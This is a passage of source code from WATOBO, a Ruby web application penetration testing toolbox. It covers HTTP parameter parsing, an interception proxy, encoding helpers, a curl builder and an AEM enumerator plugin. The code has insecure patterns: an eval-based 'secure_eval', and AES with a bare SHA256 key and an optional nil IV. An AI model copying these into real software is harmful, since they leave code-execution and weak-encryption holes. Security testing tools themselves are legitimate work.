@root.add_post_parm(parm.name, parm.value) 10 | end 11 | end 12 | 13 | def has_parm?(parm_name) 14 | @root.post_parm_names do |pn| 15 | return true if pn == parm_name 16 | end 17 | false 18 | end 19 | 20 | def parameters(*opts, &block) 21 | parms = [] 22 | @root.post_parms.each do |p| 23 | nvsi = p.index("=") 24 | unless nvsi.nil? 25 | name = nvsi > 0 ? p[0..nvsi - 1] : "" 26 | val = nvsi < (p.length - 1) ? p[nvsi + 1..-1] : "" 27 | parms << Watobo::WWWFormParameter.new(:name => name, :value => val) 28 | end 29 | end 30 | parms 31 | end 32 | 33 | def initialize(root) 34 | super root 35 | 36 | end 37 | end 38 | 39 | end 40 | 41 | end -------------------------------------------------------------------------------- /lib/watobo/http/data/json_unused.rb: -------------------------------------------------------------------------------- 1 | # @private 2 | module Watobo #:nodoc: all 3 | module HTTPData_UNUSED 4 | 5 | class JSONData < HTTPData::Base 6 | 7 | def to_s 8 | s = @root.body.nil? ? "" : @root.body 9 | end 10 | 11 | 12 | 13 | def set(parm) 14 | json = @root.body.nil? ? '' : @root.body.to_s 15 | json = '{}' if json.strip.empty? 16 | begin 17 | parms = JSON.parse(json) 18 | parms[parm.name] = parm.value 19 | @root.set_body parms.to_json 20 | rescue => bang 21 | puts bang 22 | puts bang.backtrace 23 | puts 'JSON Data:' 24 | puts json 25 | end 26 | 27 | end 28 | 29 | def has_parm?(parm_name) 30 | parms = JSON.parse(@root.body.to_s) 31 | return true if parms.has_key? parm_name 32 | false 33 | end 34 | 35 | def parameters(&block) 36 | parms = [] 37 | json_str = @root.body.to_s 38 | return parms if json_str.empty? 39 | 40 | begin 41 | JSON.parse(json_str).each do |k, v| 42 | val = v.is_a?(String) ? v : v.to_s 43 | parms << Watobo::JSONParameter.new(:name => k, :value => val) 44 | end 45 | rescue => bang 46 | puts "! could not parse JSON parameters !" 47 | puts @root.headers 48 | puts json_str.gsub(/[^[:print:]]/, '.') 49 | end 50 | parms 51 | end 52 | 53 | def initialize(root) 54 | super root 55 | 56 | end 57 | end 58 | 59 | end 60 | 61 | end -------------------------------------------------------------------------------- /lib/watobo/http/url/url.rb: -------------------------------------------------------------------------------- 1 | # @private 2 | module Watobo #:nodoc: all 3 | module HTTP 4 | class Url 5 | 6 | def to_str 7 | @root.url_string 8 | end 9 | 10 | def to_s 11 | @root.url_string 12 | end 13 | 14 | def to_uri(*flags) 15 | # we need some cleanup before URI.parsing 16 | # TODO: Why should encoding be needed 17 | #URI.parse(@root.url_string.gsub(/[^a-zA-Z0-9\/;\-:\.]/) do |m| 18 | #URI.encode_www_form_component(m) 19 | #end 20 | #) 21 | 22 | URI.parse(@root.url_string) 23 | end 24 | 25 | def set(parm) 26 | if has_parm?(parm.name) 27 | @root.replace_get_parm(parm.name, parm.value) 28 | else 29 | @root.add_get_parm(parm.name, parm.value) 30 | end 31 | end 32 | 33 | def clear 34 | @root.removeUrlParms 35 | end 36 | 37 | def has_parm?(parm_name) 38 | @root.get_parm_names do |pn| 39 | return true if pn == parm_name 40 | end 41 | false 42 | end 43 | 44 | def parameters(&block) 45 | parms = [] 46 | # binding.pry 47 | @root.get_parms.each do |p| 48 | p.strip! 49 | i = p.index("=") 50 | name = p[0..i-1] 51 | val = i < p.length ? p[i+1..-1] : "" 52 | parms << Watobo::UrlParameter.new(:name => name, :value => val) 53 | end 54 | parms 55 | end 56 | 57 | def initialize(root) 58 | @root = root 59 | 60 | end 61 | end 62 | end 63 | end -------------------------------------------------------------------------------- /lib/watobo/interceptor.rb: -------------------------------------------------------------------------------- 1 | %w( proxy transparent ).each do |lib| 2 | require "watobo/interceptor/#{lib}" 3 | end 4 | 5 | -------------------------------------------------------------------------------- /lib/watobo/interceptor/html/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/lib/watobo/interceptor/html/favicon.ico -------------------------------------------------------------------------------- /lib/watobo/interceptor/html/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | WATOBO - Interceptor 4 | 5 | 6 |

Thank you for using WATOBO - The Webapplication Toolbox

7 | Info:
8 | Version: WATOBO_VERSION
9 | Home dir: WATOBO_HOME
10 |

11 | Download Certificate 12 | 13 | -------------------------------------------------------------------------------- /lib/watobo/interceptor/transparent.rb: -------------------------------------------------------------------------------- 1 | # @private 2 | module Watobo#:nodoc: all 3 | module Interceptor 4 | module Transparent 5 | @nfq_drb = nil 6 | def self.start 7 | DRb.start_service 8 | @nfq_drb = DRbObject.new nil, "druby://127.0.0.1:9090" 9 | end 10 | 11 | def self.info(data) 12 | nfo = nil 13 | begin 14 | nfo = @nfq_drb.info(data) 15 | rescue => bang 16 | puts "! could not query nfq_server" 17 | puts bang 18 | end 19 | nfo 20 | end 21 | end 22 | end 23 | end 24 | -------------------------------------------------------------------------------- /lib/watobo/mixins.rb: -------------------------------------------------------------------------------- 1 | # @private 2 | module Watobo#:nodoc: all 3 | module Mixins 4 | mixins_path = File.expand_path(File.join(File.dirname(__FILE__), "mixins")) 5 | # puts "* loading mixins #{mixins_path}" 6 | Dir.glob("#{mixins_path}/*.rb").each do |cf| 7 | puts "+ #{File.basename(cf)}" if $DEBUG 8 | require File.join("watobo","mixins", File.basename(cf)) 9 | 10 | end 11 | end 12 | end -------------------------------------------------------------------------------- /lib/watobo/mixins/check_info.rb: -------------------------------------------------------------------------------- 1 | # @private 2 | module Watobo#:nodoc: all 3 | module CheckInfoMixin 4 | module InfoMethods 5 | def check_name 6 | 7 | #puts self.methods.sort 8 | info = instance_variable_get("@info") 9 | return nil if info.nil? 10 | return info[:check_name] 11 | end 12 | 13 | def check_group 14 | info = instance_variable_get("@info") 15 | return nil if info.nil? 16 | return info[:check_group] 17 | end 18 | 19 | end 20 | 21 | extend InfoMethods 22 | 23 | def self.included( other ) 24 | other.extend InfoMethods 25 | end 26 | #:name => "#{check.info[:check_group]}|#{check.info[:check_name]}", 27 | 28 | end 29 | end -------------------------------------------------------------------------------- /lib/watobo/mixins/transcoders.rb: -------------------------------------------------------------------------------- 1 | # @private 2 | module Watobo#:nodoc: all 3 | module Mixin 4 | module Transcoders 5 | def url_encode 6 | CGI::escape(self) 7 | end 8 | 9 | def url_decode 10 | CGI::unescape(self) 11 | end 12 | 13 | def b64decode 14 | err_count = 0 15 | begin 16 | b64string = self.force_encoding('ASCII-8BIT') 17 | #rs = Base64.strict_decode64(b64string) 18 | # using regular decode64 because of JWT (JSON Web Tokens) decoding 19 | rs = Base64.decode64(b64string) 20 | return rs 21 | rescue 22 | #b64string.gsub!(/.$/,'') 23 | #err_count += 1 24 | #retry if err_count < 4 25 | return self.to_s 26 | end 27 | end 28 | 29 | def b64encode 30 | begin 31 | plain = self.force_encoding('ASCII-8BIT') 32 | #rs = Base64.strict_encode64(plain) 33 | rs = Base64.strict_encode64(plain) 34 | # we only need a simple string without linebreaks 35 | #rs.gsub!(/\n/,'') 36 | #rs.strip! 37 | return rs 38 | rescue 39 | return self.to_s 40 | end 41 | end 42 | 43 | def hex2int 44 | begin 45 | plain = self.strip 46 | if plain =~ /^[0-9a-fA-F]{1,8}$/ then 47 | return plain.hex 48 | else 49 | return "" 50 | end 51 | rescue 52 | return "" 53 | end 54 | end 55 | 56 | def hexencode 57 | begin 58 | 59 | self.unpack("H*")[0] 60 | rescue 61 | return "" 62 | end 63 | 64 | end 65 | 66 | def hexdecode 67 | 68 | [ self ].pack("H*") 69 | end 70 | end 71 | end 72 | end 73 | -------------------------------------------------------------------------------- /lib/watobo/mixins/uri.rb: -------------------------------------------------------------------------------- 1 | module URI 2 | class HTTP 3 | def to_file 4 | fname = [] 5 | #fname << scheme 6 | fname << host 7 | fname << port 8 | fname.join('_').gsub(/[\-\.]/, '_').downcase 9 | end 10 | 11 | def ssl? 12 | self.scheme.match?(/s$/i) 13 | end 14 | end 15 | end -------------------------------------------------------------------------------- /lib/watobo/ml.rb: -------------------------------------------------------------------------------- 1 | require 'watobo/ml/kmeans/kmeans_chats' -------------------------------------------------------------------------------- /lib/watobo/net.rb: -------------------------------------------------------------------------------- 1 | require 'watobo/net/http/sender' 2 | require 'watobo/net/http/session' -------------------------------------------------------------------------------- /lib/watobo/parser.rb: -------------------------------------------------------------------------------- 1 | require 'watobo/parser/html' 2 | require 'watobo/parser/dom' 3 | -------------------------------------------------------------------------------- /lib/watobo/parser/dom.rb: -------------------------------------------------------------------------------- 1 | module Watobo 2 | module Parser 3 | module HTML 4 | class Dom 5 | 6 | def scripts 7 | 8 | script_tags = html.css('script') 9 | script_tags.each do |stag| 10 | next if stag.content.empty? 11 | end 12 | end 13 | 14 | 15 | # @param html (Nokogiri::HTML) 16 | def initialize(html) 17 | 18 | end 19 | 20 | 21 | def self.create(html_code) 22 | begin 23 | html = Nokogiri::HTML(html_code) 24 | return html 25 | rescue => bang 26 | puts bang 27 | end 28 | nil 29 | end 30 | end 31 | end 32 | end 33 | end -------------------------------------------------------------------------------- /lib/watobo/patch_fxruby_setfocus.rb: -------------------------------------------------------------------------------- 1 | # Work around error 'FXComposeContext: illegal window parameter' 2 | # in FXWindow#setFocus of some libfox versions. 3 | 4 | class Fox::FXWindow 5 | def setFocus 6 | #app.addChore do 7 | #app.runOnUiThread do 8 | Watobo.save_thread do 9 | super 10 | end 11 | end 12 | end 13 | 14 | class Fox::FXDialogBox 15 | def setFocus 16 | #app.addChore do 17 | #app.runOnUiThread do 18 | Watobo.save_thread do 19 | super 20 | end 21 | end 22 | end 23 | 24 | class Fox::FXTextField 25 | def setFocus 26 | #app.addChore do 27 | #app.runOnUiThread do 28 | Watobo.save_thread do 29 | super 30 | end 31 | end 32 | end 33 | -------------------------------------------------------------------------------- /lib/watobo/plugin_loader.rb: -------------------------------------------------------------------------------- 1 | require 'watobo' 2 | require File.join(Watobo.plugin_path, '..','dev','plugin_loader') -------------------------------------------------------------------------------- /lib/watobo/redis/connection.rb: -------------------------------------------------------------------------------- 1 | module Watobo 2 | module Redis 3 | class Connection 4 | def alive? 5 | begin 6 | redis.ping 7 | rescue Redis::BaseError => e 8 | return false 9 | # e.inspect 10 | # => # 11 | 12 | # e.message 13 | # => Timed out connecting to Redis on 10.0.1.1:6380 14 | end 15 | return true 16 | end 17 | end 18 | end 19 | end -------------------------------------------------------------------------------- /lib/watobo/redis/queue.rb: -------------------------------------------------------------------------------- 1 | module Watobo 2 | module Redis 3 | class Queue 4 | 5 | # Function to push an item to the queue 6 | def push(item) 7 | @rc.lpush(queue_name, item) 8 | end 9 | 10 | # Function to pop an item from the queue 11 | def pop(queue_name) 12 | @rc.rpop(queue_name) 13 | end 14 | 15 | def initialize(connection, name) 16 | @queue = name 17 | @rc = connection 18 | 19 | end 20 | 21 | end 22 | end 23 | end -------------------------------------------------------------------------------- /lib/watobo/resources.rb: -------------------------------------------------------------------------------- 1 | Dir[File.join(__dir__, "resources/*.rb")].each do |file| 2 | require file 3 | end -------------------------------------------------------------------------------- /lib/watobo/scanner.rb: -------------------------------------------------------------------------------- 1 | Dir[File.join(__dir__, "scanner/*.rb")].each do |file| 2 | require file 3 | end -------------------------------------------------------------------------------- /lib/watobo/scanner4.rb: -------------------------------------------------------------------------------- 1 | # Ractors not able to send Proc :( 2 | # 3 | #require 'watobo/scanner4/scanner' -------------------------------------------------------------------------------- /lib/watobo/server.rb: -------------------------------------------------------------------------------- 1 | require_relative './server/server' 2 | 3 | def require_plugin(dir_name) 4 | Dir["#{File.dirname(__FILE__)}/../../plugins/#{dir_name.to_s}/lib/*.rb"].sort.each do |f| 5 | puts "+ loading #{f} ..." if $VERBOSE 6 | require f 7 | end 8 | end 9 | 10 | 11 | # load headless-ready plugins 12 | hrps = %w( filescanner crawler ) 13 | 14 | hrps.each do |hrp| 15 | require_plugin hrp 16 | end -------------------------------------------------------------------------------- /lib/watobo/server/server.rb: -------------------------------------------------------------------------------- 1 | module Watobo 2 | class Server 3 | 4 | def crawl(url) 5 | request = Watobo::Request.new url 6 | project = request.host 7 | session = 'crawl' + Time.now.to_i.to_s 8 | 9 | Watobo.create_project project_name: project, session_name: session 10 | 11 | binding.pry 12 | end 13 | 14 | def initialize(workspace) 15 | Watobo.workspace_path = workspace 16 | Watobo.init_framework 17 | end 18 | 19 | end 20 | end -------------------------------------------------------------------------------- /lib/watobo/sockets.rb: -------------------------------------------------------------------------------- 1 | %w( client_socket http_socket ).each do |lib| 2 | require "watobo/sockets/#{lib}" 3 | end 4 | 5 | -------------------------------------------------------------------------------- /lib/watobo/transformers/multipart.rb: -------------------------------------------------------------------------------- 1 | module Watobo 2 | module Transformers 3 | def self.to_multipart(request) 4 | mp = Watobo::Request.new request 5 | mp.setMethod("POST") 6 | # mp.remove_header("Content-Length") 7 | 8 | params = mp.parameters(:url, :wwwform) 9 | mp.clear_parameters(:url, :wwwform) 10 | 11 | boundary = '-' * 10 + Time.now.to_i.to_s 12 | mp.set_header("Content-Type", "multipart/form-data; boundary=#{boundary}") 13 | 14 | body = [] 15 | params.each do |p| 16 | body << "--#{boundary}" 17 | body << "Content-Disposition: form-data; name=\"#{p.name}\"" 18 | body << "Content-Type: application/x-www-form-urlencoded" 19 | body << '' 20 | body << p.value 21 | end 22 | body << "--#{boundary}--" 23 | 24 | mp.set_body(body.join("\r\n")) 25 | mp 26 | end 27 | end 28 | end -------------------------------------------------------------------------------- /lib/watobo/utils.rb: -------------------------------------------------------------------------------- 1 | # @private 2 | module Watobo#:nodoc: all 3 | module Utils 4 | utils_path = File.expand_path(File.join(File.dirname(__FILE__), "utils")) 5 | #puts "* loading utils #{utils_path}" 6 | Dir.glob("#{utils_path}/*.rb").each do |cf| 7 | puts "+ #{File.basename(cf)}" if $DEBUG 8 | require File.join("watobo","utils", File.basename(cf)) 9 | 10 | end 11 | end 12 | end -------------------------------------------------------------------------------- /lib/watobo/utils/chat_source.rb: -------------------------------------------------------------------------------- 1 | module Watobo 2 | module Utils 3 | module Chat 4 | include Watobo::Constants 5 | # @param [Integer] src id 6 | # @return readable string 7 | def self.source_str(src) 8 | str = case src 9 | when CHAT_SOURCE_UNDEF 10 | "Undefined" 11 | when CHAT_SOURCE_INTERCEPT 12 | "Interceptor" 13 | when CHAT_SOURCE_PROXY 14 | "Proxy" 15 | when CHAT_SOURCE_MANUAL 16 | "Manual" 17 | when CHAT_SOURCE_FUZZER 18 | "Fuzzer" 19 | when CHAT_SOURCE_MANUAL_SCAN 20 | "QuickScan" 21 | when CHAT_SOURCE_AUTO_SCAN 22 | "AutoScan" 23 | when CHAT_SOURCE_SEQUENCER 24 | "Sequencer" 25 | else 26 | "WTF!?" 27 | end 28 | str 29 | end 30 | end 31 | end 32 | end -------------------------------------------------------------------------------- /lib/watobo/utils/check_regex.rb: -------------------------------------------------------------------------------- 1 | # @private 2 | module Watobo#:nodoc: all 3 | module Utils 4 | def Utils.checkRegex(pattern) 5 | begin 6 | # use nice string to test pattern ;) 7 | "watobo rocks!!!" =~ /#{pattern}/i 8 | return true 9 | rescue => bang 10 | # puts bang 11 | return false, bang 12 | end 13 | end 14 | 15 | end #--- Utils 16 | end #---Watobo 17 | -------------------------------------------------------------------------------- /lib/watobo/utils/copy_object.rb: -------------------------------------------------------------------------------- 1 | # @private 2 | module Watobo#:nodoc: all 3 | module Utils 4 | def Utils.copyObject(object) 5 | # copy = secure_eval(YAML.load(YAML.dump(object.inspect))) 6 | copy = Marshal.load(Marshal.dump(object)) 7 | return copy 8 | end 9 | end 10 | end 11 | -------------------------------------------------------------------------------- /lib/watobo/utils/crypto.rb: -------------------------------------------------------------------------------- 1 | require 'openssl' 2 | require 'digest/sha1' 3 | require 'base64' 4 | 5 | # Thanks to : http://rails.brentsowers.com/2007/12/aes-encryption-and-decryption-in-ruby.html 6 | # @private 7 | module Watobo#:nodoc: all 8 | module Crypto 9 | 10 | def Crypto.encryptPassword(plain_password, secret) 11 | Base64.encode64(Crypto.encrypt(plain_password, secret)).strip 12 | end 13 | 14 | def Crypto.decryptPassword(b64_encrypted_password, secret) 15 | ep = Base64.decode64(b64_encrypted_password) 16 | decrypt(ep, secret) 17 | end 18 | 19 | 20 | def Crypto.decrypt(encrypted_data, pass, iv=nil, cipher_type="AES-256-CBC") 21 | aes = OpenSSL::Cipher::Cipher.new(cipher_type) 22 | aes.decrypt 23 | aes.key = Digest::SHA256.digest(pass) 24 | aes.iv = iv if iv != nil 25 | aes.update(encrypted_data) + aes.final 26 | end 27 | 28 | def Crypto.encrypt(data, pass, iv=nil, cipher_type="AES-256-CBC") 29 | aes = OpenSSL::Cipher::Cipher.new(cipher_type) 30 | aes.encrypt 31 | aes.key = Digest::SHA256.digest(pass) 32 | aes.iv = iv if iv != nil 33 | aes.update(data) + aes.final 34 | end 35 | end 36 | end 37 | 38 | if __FILE__ == $0 39 | # TODO Generated stub 40 | # cipher = "AES-256-CBC" 41 | pass = "password" 42 | #iv = nil 43 | 44 | plaintext = "S3cr3t" 45 | 1000.times do |i| 46 | plaintext += (rand(65)+35).chr + "OK" 47 | encrypted = Crypto.encrypt(plaintext, pass) 48 | puts encrypted 49 | 50 | puts "* now decrypt again" 51 | plain = Crypto.decrypt(Base64.decode64(encrypted), pass) 52 | puts plain 53 | end 54 | end -------------------------------------------------------------------------------- /lib/watobo/utils/curl.rb: -------------------------------------------------------------------------------- 1 | module Watobo 2 | module Utils 3 | module Curl 4 | REMOVE_HEADERS = %w( Content-Length Connection ).map {|h| h.downcase} 5 | 6 | def self.create(request) 7 | cURL = ['curl -X ' + request.method.upcase] 8 | cURL << request.url_string 9 | request.headers[1..-1].each do |h| 10 | hname = h.gsub(/:.*/, '').downcase 11 | cURL << '-H "' + h.strip + '"' unless REMOVE_HEADERS.include?(hname.downcase) 12 | end 13 | if request.has_body? 14 | cURL << "--data '" + request.body + "'" 15 | end 16 | cURL.join(" \\\n ") 17 | 18 | end 19 | end 20 | end 21 | end -------------------------------------------------------------------------------- /lib/watobo/utils/expand_range.rb: -------------------------------------------------------------------------------- 1 | # @private 2 | module Watobo#:nodoc: all 3 | module Utils 4 | # expand range creates an array out of 5 | def self.expand_range(pattern) 6 | vals = pattern.split(",") 7 | 8 | result = [] 9 | vals.each do |v| 10 | v.strip! 11 | if v =~ /^(\d+)$/ then 12 | result.push $1.to_i 13 | elsif v =~ /^(\d+)-(\d+)$/ 14 | start = $1 15 | stop = $2 16 | dummy = (start..stop).to_a 17 | result.concat dummy 18 | end 19 | end 20 | result.uniq! 21 | return result 22 | end 23 | 24 | end 25 | end -------------------------------------------------------------------------------- /lib/watobo/utils/file_management.rb: -------------------------------------------------------------------------------- 1 | # @private 2 | module Watobo#:nodoc: all 3 | module Utils 4 | # e.g, save_settings("test-settings.test", 0, "@saved_settings", @saved_settings) 5 | 6 | def Utils.save_settings(file, settings) 7 | begin 8 | if settings.is_a? Hash 9 | File.open(file, "w") { |fh| 10 | YAML.dump(settings, fh) 11 | } 12 | return true 13 | else 14 | return false 15 | end 16 | rescue => bang 17 | puts bang 18 | puts bang.backtrace if $DEBUG 19 | end 20 | return false 21 | end 22 | 23 | def Utils.load_settings(file) 24 | settings = nil 25 | if File.exist?(file) then 26 | settings = YAML.load_file(file) 27 | end 28 | return settings 29 | end 30 | 31 | def Utils.saveChat(chat, filename) 32 | return false if filename.nil? 33 | return false if chat.nil? 34 | 35 | Watobo::DataStore.save_chat(filename, chat) 36 | end 37 | 38 | 39 | end 40 | end 41 | -------------------------------------------------------------------------------- /lib/watobo/utils/hexprint.rb: -------------------------------------------------------------------------------- 1 | # @private 2 | module Watobo#:nodoc: all 3 | module Utils 4 | def self.hexprint(data) 5 | data.length.times do |i| 6 | print "%02X" % data[i].ord 7 | puts if data[i] == "\n" 8 | end 9 | end 10 | end 11 | end -------------------------------------------------------------------------------- /lib/watobo/utils/load_icon.rb: -------------------------------------------------------------------------------- 1 | # @private 2 | module Watobo#:nodoc: all 3 | module Utils 4 | def loadIcon(app, filename) 5 | begin 6 | icon = nil 7 | 8 | File.open(filename, "rb") do |f| 9 | if filename.strip =~ /\.ico$/ then 10 | icon = FXICOIcon.new(app, f.read) 11 | #icon = FXICOIcon.new(getApp(), f.read) 12 | elsif filename.strip =~ /\.png$/ then 13 | icon = FXPNGIcon.new(app, f.read) 14 | elsif filename.strip =~ /\.gif$/ then 15 | icon = FXGIFIcon.new(app, f.read) 16 | end 17 | icon.create 18 | end 19 | 20 | icon 21 | rescue => bang 22 | puts "Couldn't load icon: #{filename}" 23 | puts bang 24 | end 25 | end 26 | end 27 | end 28 | -------------------------------------------------------------------------------- /lib/watobo/utils/path_merge.rb: -------------------------------------------------------------------------------- 1 | module Watobo 2 | module Utils 3 | 4 | def self.merge_paths(base, target, &block) 5 | merged = [] 6 | base_dirs = base.split('/') 7 | target_dirs = target.split('/') 8 | # if base does not start with '/' iterations will not work because first element of base is not empty 9 | # so we might have to manually add this 10 | # if base is '/' we have an empty array after split (first element is nil!) 11 | # so we manually have to insert an empty string 12 | base_dirs.unshift('') unless base_dirs.first 13 | base_dirs.unshift('') unless base_dirs.first.strip.empty? 14 | 15 | base_dirs.length.times do |bi| 16 | target_dirs.length.times do |ti| 17 | merge = File.join(base_dirs[0..bi].join('/'), target_dirs[ti * (-1)..-1]) 18 | next if merged.include? merge 19 | yield merge if block_given? 20 | merged << merge 21 | end 22 | end 23 | 24 | merged 25 | end 26 | end 27 | end 28 | 29 | if $0 == __FILE__ 30 | base = ARGV[0] ? ARGV[0] :'/my/path/to' 31 | target = ARGV[1] ? ARGV[1] : '/cqa/var' 32 | 33 | puts "= Merge Paths =" 34 | puts "Base: #{base}" 35 | puts "Target: #{target}" 36 | Watobo::Utils.merge_paths(base, target) do |path| 37 | puts path 38 | end 39 | end -------------------------------------------------------------------------------- /lib/watobo/utils/print_debug.rb: -------------------------------------------------------------------------------- 1 | # @private 2 | module Watobo#:nodoc: all 3 | def self.print_debug(*m) 4 | fl = m.shift 5 | puts "#" 6 | puts "# #{fl} #" 7 | if m.length > 0 8 | m.each do |l| 9 | puts l 10 | end 11 | puts "# " + "-"*fl.length + " #" 12 | end 13 | end 14 | end -------------------------------------------------------------------------------- /lib/watobo/utils/response_compare.rb: -------------------------------------------------------------------------------- 1 | # @private 2 | module Watobo #:nodoc: all 3 | module Utils 4 | # returns true if responses are equal 5 | def self.compare_responses(one, two) 6 | return true if one == two 7 | return false if one.nil? || two.nil? 8 | # compare return code 9 | #puts "[status] #{one.status} - #{two.status}" 10 | return false if one.status != two.status 11 | # compare http header count 12 | return false if one.headers.length != two.headers.length 13 | # compare body length 14 | # body is rated different if length differs by at least 10% 15 | body_one_length = one.has_body? ? one.body.length : 0 16 | body_two_length = two.has_body? ? two.body.length : 0 17 | unless body_one_length == body_two_length 18 | small_body = body_one_length > body_two_length ? body_two_length : body_one_length 19 | return false if (body_one_length - body_two_length).abs > (small_body / 10) 20 | end 21 | true 22 | end 23 | end 24 | end 25 | -------------------------------------------------------------------------------- /lib/watobo/utils/secure_eval.rb: -------------------------------------------------------------------------------- 1 | # @private 2 | module Watobo #:nodoc: all 3 | module Utils 4 | 5 | def Utils.secure_eval(exp) 6 | result = nil 7 | t = Thread.new(exp) { |e| 8 | #e.untaint 9 | $SAFE = 1 10 | # $SAFE = 3 # no longer supported since ruby 2.3 11 | # $SAFE = 4 # no longer supported since ruby 2.1.x 12 | begin 13 | 14 | result = eval(e) 15 | 16 | 17 | rescue SyntaxError => bang 18 | puts bang 19 | puts bang.backtrace if $DEBUG 20 | rescue LocalJumpError => bang 21 | puts bang 22 | puts bang.backtrace if $DEBUG 23 | rescue SecurityError => bang 24 | puts "WARNING: Desired functionality forbidden. it may harm your system!" 25 | puts bang.backtrace if $DEBUG 26 | rescue => bang 27 | puts bang 28 | puts bang.backtrace if $DEBUG 29 | 30 | end 31 | } 32 | t.join 33 | return result 34 | 35 | end 36 | 37 | end 38 | end 39 | -------------------------------------------------------------------------------- /lib/watobo/utils/strings.rb: -------------------------------------------------------------------------------- 1 | # @private 2 | module Watobo#:nodoc: all 3 | module Utils 4 | def self.camelcase(string) 5 | string.strip.gsub(/[^[a-zA-Z\-_]]/,"").gsub( "-" , "_").split("_").map{ |s| s.downcase.capitalize }.join 6 | end 7 | 8 | def self.snakecase(string) 9 | string.gsub(/([A-Z])([A-Z][a-z])/, '\1_\2').gsub(/([a-z\d])([A-Z])/, '\1_\2').tr("-","_").downcase 10 | end 11 | end 12 | end -------------------------------------------------------------------------------- /lib/watobo/utils/url.rb: -------------------------------------------------------------------------------- 1 | # @private 2 | module Watobo#:nodoc: all 3 | module Utils 4 | module URL 5 | def self.create_url(chat, path) 6 | url = path 7 | # only expand path if not url 8 | unless path =~ /^http/ 9 | # check if path is absolute 10 | if path =~ /^\// 11 | url = File.join("#{chat.request.proto}://#{chat.request.host}", path) 12 | else 13 | # it's relative 14 | url = File.join(File.dirname(chat.request.url.to_s), path) 15 | end 16 | end 17 | # resolve path traversals 18 | while url =~ /(\/[^\.\/]*\/\.\.\/)/ 19 | url.gsub!( $1,"/") 20 | end 21 | url 22 | end 23 | end 24 | end 25 | end -------------------------------------------------------------------------------- /lib/watobo/utils/utf16.rb: -------------------------------------------------------------------------------- 1 | module Watobo 2 | module UTF16 3 | def self.decode_utf16le(str) 4 | str.force_encoding(Encoding::UTF_16LE) 5 | str.encode(Encoding::UTF_8, Encoding::UTF_16LE).force_encoding('UTF-8') 6 | end 7 | 8 | def self.encode_utf16le(str) 9 | str = str.force_encoding('UTF-8') if [::Encoding::ASCII_8BIT,::Encoding::US_ASCII].include?(str.encoding) 10 | str.dup.force_encoding('UTF-8').encode(Encoding::UTF_16LE, Encoding::UTF_8).force_encoding('UTF-8') 11 | end 12 | end 13 | end -------------------------------------------------------------------------------- /modules/active/RoR/cve_2013_015x.rb: -------------------------------------------------------------------------------- 1 | # http://www.securityfocus.com/bid/57187/exploit -------------------------------------------------------------------------------- /modules/passive/detect_error_messages.rb.todo.txt: -------------------------------------------------------------------------------- 1 | Unrecognized field "xxxx" (class com.xxx.iffw.restapi.resources.process.request.Process), not marked as ignorable (4 known properties: "processMethod", "processName", "processModule", "processInput"]) 2 | at [Source: (org.glassfish.jersey.message.internal.ReaderInterceptorExecutor$UnCloseableInputStream); line: 7, column: 10] (through reference chain: de.xx.iffw.restapi.resources.process.request.ProcessRequest["process"]- -------------------------------------------------------------------------------- /modules/passive/linkfinder.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | # copied from https://github.com/GerbenJavado/LinkFinder/blob/master/linkfinder.py 3 | regex_str = %r{ 4 | (?:"|') # Start newline delimiter 5 | 6 | ( 7 | ((?:[a-zA-Z]{1,10}://|//) # Match a scheme [a-Z]*1-10 or // 8 | [^"'/]{1,}\. # Match a domainname (any character + dot) 9 | [a-zA-Z]{2,}[^"']{0,}) # The domainextension and/or path 10 | 11 | | 12 | 13 | ((?:/|\.\./|\./) # Start with /,../,./ 14 | [^"'><,;| *()(%%$^/\\\[\]] # Next character can't be... 15 | [^"'><,;|()]{1,}) # Rest of the characters can't be 16 | 17 | | 18 | 19 | ([a-zA-Z0-9_\-/]{1,}/ # Relative endpoint with / 20 | [a-zA-Z0-9_\-/]{1,} # Resource name 21 | \.(?:[a-zA-Z]{1,4}|action) # Rest + extension (length 1-4 or action) 22 | (?:[\?|#][^"|']{0,}|)) # ? or # mark with parameters 23 | 24 | | 25 | 26 | ([a-zA-Z0-9_\-/]{1,}/ # REST API (no extension) with / 27 | [a-zA-Z0-9_\-/]{3,} # Proper REST endpoints usually have 3+ chars 28 | (?:[\?|#][^"|']{0,}|)) # ? or # mark with parameters 29 | 30 | | 31 | 32 | ([a-zA-Z0-9_\-]{1,} # filename 33 | \.(?:php|asp|aspx|jsp|json| 34 | action|html|js|txt|xml) # . + extension 35 | (?:[\?|#][^"|']{0,}|)) # ? or # mark with parameters 36 | 37 | ) 38 | 39 | (?:"|') # End newline delimiter 40 | }x 41 | 42 | =end 43 | -------------------------------------------------------------------------------- /modules/passive/source_map.rb: -------------------------------------------------------------------------------- 1 | # //# sourceMappingURL=minified.js.map 2 | # X-SourceMap Header -------------------------------------------------------------------------------- /ntlm.md: -------------------------------------------------------------------------------- 1 | # NTLM Authentication 2 | requires MD4 which is not supported by OpenSSL v3 3 | with default settings. 4 | To enable MD4 (and other legacy cyphers) you need to 5 | edit /etc/ssl/openssl.cnf 6 | 7 | ``` 8 | [provider_sect] 9 | default = default_sect 10 | legacy = legacy_sect 11 | ## 12 | [default_sect] 13 | activate = 1 14 | ## 15 | [legacy_sect] 16 | activate = 1 17 | ``` -------------------------------------------------------------------------------- /plugins/aem/aem.rb: -------------------------------------------------------------------------------- 1 | # @private 2 | module Watobo#:nodoc: all::Plugin 3 | module Plugin 4 | class AEM < Watobo::PluginBase 5 | plugin_name "AEM" 6 | description "Adobe Experience Manager Enumerator" 7 | load_libs 8 | load_gui :main, :tree_view 9 | end 10 | end 11 | end 12 | 13 | -------------------------------------------------------------------------------- /plugins/aem/icons/aem.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/plugins/aem/icons/aem.ico -------------------------------------------------------------------------------- /plugins/aem/lib/dispatcher.rb: -------------------------------------------------------------------------------- 1 | # @private 2 | module Watobo #:nodoc: all 3 | module Plugin 4 | class CQ5 5 | class Dispatcher 6 | 7 | def stop 8 | @t_disp.kill unless @t_disp.nil? 9 | end 10 | 11 | def run 12 | @known_urls = [] 13 | puts Watobo::Plugin::CQ5.ignore_patterns 14 | @t_disp = Thread.new { 15 | loop do 16 | if @dqueue.size > 0 17 | new_item = @dqueue.deq 18 | unless @known_urls.include?(new_item[:url]) 19 | @known_urls << new_item[:url] 20 | if Watobo::Plugin::CQ5.ignore_patterns.empty? 